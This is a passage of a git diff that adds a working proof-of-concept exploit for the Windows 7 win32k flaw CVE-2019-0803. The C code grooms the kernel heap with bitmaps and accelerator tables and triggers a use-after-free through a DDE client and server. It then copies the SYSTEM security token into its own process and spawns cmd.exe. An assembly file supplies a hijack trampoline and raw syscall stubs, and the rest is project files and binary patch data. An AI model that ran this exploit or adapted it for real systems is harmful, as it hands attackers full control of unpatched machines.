}; + pi = { 0 }; + si.cb = sizeof(STARTUPINFO); + bReturn = CreateProcessW(szExePath, + (LPWSTR)L" DDEClient", + NULL, + NULL, + FALSE, + NULL, + NULL, + NULL, + &si, + &pi); + if (!bReturn) + { + return 0; + } + + HWND hwnd = NULL; + + do + { + hwnd = FindWindowW(NULL, L"DDEClientPoc"); + } while (hwnd == NULL && (Sleep(300), TRUE)); + + printf("[+]hTriggerWindow %p\n", hwnd); + + for (UINT i = 0; i < 300; i++) + { + if (hBitmap[i] != NULL) + { + DeleteObject(hBitmap[i]); + hBitmap[i] = NULL; + } + } + + xxBuildGlobalAccTableEx(pwndIcon1 + OFFSET_CBWNDEXTRA_WIN7); + + SendMessageW(hwnd, MSG_DDESERVER_EXIT, NULL, NULL); + WaitForSingleObject(pi.hProcess, INFINITE); + + for (UINT i = 300; i < 700; i++) + { + if (hBitmap[i] != NULL) + { + DeleteObject(hBitmap[i]); + hBitmap[i] = NULL; + } + } + + printf("[+]Wait\n"); + + Sleep(8000); + SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS); + + HACCEL hAcc[2000] = { NULL }; + for (UINT i = 0; i < 2000; i++) + { + hAcc[i] = NtUserCreateAcceleratorTable(buffAccTabl, 132); // UAF + if (hAcc[i] == NULL) + { + break; + } + } + + RGBQUAD number = {}; + number.rgbBlue = 0x78; + number.rgbGreen = 0x56; + number.rgbRed = 0x34; + + if (SetDIBColorTable(hdc, 0, 1, (const RGBQUAD *)&number)) + { + printf("[+]SetDIBColorTable OK\n"); + } + + if (xxZeroIconWindow2strName()) + { + printf("[+]hTriggerWindow OK\n"); + } + else + { + printf("[!]hTriggerWindow Failed\n"); + return 0; + } + + FindSecurityTokens(); + wchar_t strSysSecToken[5] = { 0x00 }; + strSysSecToken[3] = (SystemSecurityTokenAddr >> 48) & 0xFFFF; + strSysSecToken[2] = (SystemSecurityTokenAddr >> 32) & 0xFFFF; + strSysSecToken[1] = (SystemSecurityTokenAddr >> 16) & 0xFFFF; + strSysSecToken[0] = (SystemSecurityTokenAddr >> 0) & 0xFFFF; + printf("[+]Security token to steal: 0x%llx\n", SystemSecurityTokenAddr); + + WriteKernelAddress(MyEPROCESSAddr + OFFSET_SECTOKEN_WIN7, strSysSecToken); + + printf("Run Cmd...\n"); + system("cmd.exe"); + + return 0; +} +INT DDEServer(); +INT DDEClient(); +INT main(int argc, char *argv[]) +{ + if (argc == 1) + { + PocMain2(); + return 0; + } + + if (argc != 2) + { + return -1; + } + + if (strcmp(argv[1], "DDEServer") == 0) + { + DDEServer(); + } + else if (strcmp(argv[1], "DDEClient") == 0) + { + DDEClient(); + } + + + + return 0; +} diff --git a/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/poc_test.vcxproj b/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/poc_test.vcxproj new file mode 100644 index 0000000..81eb996 --- /dev/null +++ b/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/poc_test.vcxproj @@ -0,0 +1,176 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {13B512BD-3E32-4787-9C1C-0966899F3608} + Win32Proj + poctest + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + Use + Level3 + Disabled + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Use + Level3 + Disabled + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreadedDebug + + + Console + true + + + + + Use + Level3 + MaxSpeed + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Use + Level3 + MaxSpeed + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + + + + Create + Create + Create + Create + + + + + Document + false + ml64 /Fo $(IntDir)%(fileName).obj /c %(fileName).asm + $(IntDir)%(fileName).obj + + + + + + \ No newline at end of file diff --git a/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/poc_test.vcxproj.filters b/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/poc_test.vcxproj.filters new file mode 100644 index 0000000..e7c7e6d --- /dev/null +++ b/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/poc_test.vcxproj.filters @@ -0,0 +1,44 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + 头文件 + + + 头文件 + + + 头文件 + + + + + 源文件 + + + 源文件 + + + 源文件 + + + + + 源文件 + + + \ No newline at end of file diff --git a/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/stdafx.cpp b/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/stdafx.cpp new file mode 100644 index 0000000000000000000000000000000000000000..66fa07ac9228f17b63f97de0a5fb786dfaa9c3c8 GIT binary patch literal 318 zcmezWPoF`bL4l!|p@boYA(0`Cp@Kn=A(^272o)HtfcRA~Yw(*S_KahJtijqL?Wy1V zTFNHmfoNU^E}&kJ?gEBiQfwwM@yE5DW*V)Ylh*)vQc5qeN< z%x6eq$O5Ye*#c2tUDF-@&_6!`qz8nR88R92fac~flmgwF3RJCx=I#uj2uwA^Wg!gy z3@$(n@`*;c0z)uE2$1i{;KmRE^rr_ICT(OVUp}UuO|l@2^qn=FjVA5%(p{GPR`)p`x;AR&<|V<&1Y_2oqqkAR2^~ z844JRfG$X9$OV!L4EYRs49N_sU^$3nQFoZK?0!>Q+npw_J3{+Pf_aT_c z0M+EC$T{haomPHN{d|LP>5(rLNSYF-QOaG_AIJ0mdpE>25Yr)ULb!(Ke_0$`49E_M z%h_TS7~+90@nrC0FlI1aCia$sR&Y~ literal 0 HcmV?d00001 diff --git a/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/x64.asm b/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/x64.asm new file mode 100644 index 0000000..4044c5e --- /dev/null +++ b/CVE-2019-0803/CVE-2019-0803/win7sp1/poc_test/x64.asm @@ -0,0 +1,50 @@ +EXTERN g_ClientCopyDDEIn1_ContinueAddr:DQ; +EXTERN g_BitMapAddr:DQ; + +.CODE ;; + +HijackTrampoFunc PROC + push r8 + lea rax,[rsp+50h] + mov r8,qword ptr g_BitMapAddr + mov qword ptr [rax+30h],r8 + mov r8,qword ptr [rax+20h] + mov byte ptr [r8+2],2 + pop r8 + pop rax + xor r8d,r8d + mov r11d,eax + lea rcx,[rsp+20h] + lea edx,[r8+18h] + jmp qword ptr g_ClientCopyDDEIn1_ContinueAddr +HijackTrampoFunc ENDP + +NtUserCreateAcceleratorTable PROC + mov r10,rcx + mov eax,10F1h + syscall + ret +NtUserCreateAcceleratorTable ENDP + +NtUserShowWindow PROC + mov r10,rcx + mov eax,1058h + syscall + ret +NtUserShowWindow ENDP + +NtUserBeginPaint PROC + mov r10,rcx + mov eax,1017h + syscall + ret +NtUserBeginPaint ENDP + +NtUserDestroyWindow PROC + mov r10,rcx + mov eax,109dh + syscall + ret +NtUserDestroyWindow ENDP + +END \ No newline at end of file diff --git a/img/46.jpg b/img/46.jpg new file mode 100644 index 0000000000000000000000000000000000000000..94b15f8daa8a2aea4c75a1d1173ee258bad5806d GIT binary patch literal 12300 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 literal 0 HcmV?d00001